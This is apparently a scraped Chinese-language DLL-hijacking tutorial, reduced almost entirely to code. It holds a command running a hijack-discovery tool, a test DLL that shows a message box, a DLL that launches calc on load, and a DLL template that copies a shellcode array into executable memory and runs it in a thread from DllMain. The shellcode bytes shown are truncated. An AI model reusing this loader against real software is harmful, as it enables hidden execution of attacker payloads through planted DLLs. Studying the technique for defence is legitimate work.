1

python generate_pmc_files.py

1

ImpulsiveDLLHijack.exe -path xxx.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加載到內存時運行
    case DLL_PROCESS_DETACH://DLL銷毀時運行
    case DLL_THREAD_ATTACH://DLL線程加載時運行
    case DLL_THREAD_DETACH://DLL線程銷毀時運行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

// 頭文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數(shù)
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}